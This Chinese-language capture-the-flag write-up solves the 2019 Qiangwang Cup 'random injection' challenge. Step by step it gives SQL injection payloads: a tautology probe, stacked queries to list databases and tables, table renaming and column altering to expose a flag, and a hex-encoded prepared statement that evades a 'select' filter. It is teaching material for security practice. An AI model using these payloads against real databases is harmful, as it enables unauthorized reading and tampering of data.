强网杯-2019-随便注

0. 首页

判断是否存在SQL注入点

1
1' or 1=1#

存在注入

发现过滤了很多东西,没法用select 那么很多就没法查询
试着用堆叠注入的方法

1. 查找数据库

1
1';show databases;#

2. 查找数据表

1
1';show tables;#

拿到俩个数据表

3. 查看数据表下的字段

“1919810931114514”数据表下的

1
1';desc `1919810931114514` ;#(表外面有``)(字符串为表名操作时要加反引号)

“word”数据表下的

1
2
1';desc `words`;# 得到 id 和 data 这两列,我么可以猜测我们提交查询的窗口就是在这个表里查
询数据的

  1. 那么查询语句很有可能是 : select id,data from words where id =
    但是select没法使用,同时回显不会从 那个数字表里的,只会从 words 这个表里回显,因
    为”1919810931114514“查询出的结果是一个数字加一个字符串;words表结构是id和data,传入
    的inject参数也就是赋值给了id(就是比如说最上面的arry(2)显示的一个数字,一个字符串)
    这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag
    将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是
    它少了一个id列,可以将flag字段改为id,或者添加id字段(下面代码中凡是表和字段的前后都有
    ``)
1
2
rename 用于修改 table 的名称
alter 用于修改表中字段的属性
1
1';rename table `words` to `words1` ;rename table `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#

然后用

1
1' or 1=1 # 

得到flag

然后用1’ or 1=1 # 得到flag

4. 预处理编译SQL注入

绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。

预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

注入流程:

1
2
3
4
SET;									# 用于设置变量名和值
prepare stmt_name from preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
execute stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句

注入语句:

1
2
3
4
5
1';
set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare sql from @a;
execute sql ;#
(0x73656c656374202a2066726f6d20603139313938313039333131313435313460是select * from `1919810931114514`的十六进制形式)

SQL预处理参考

其他参考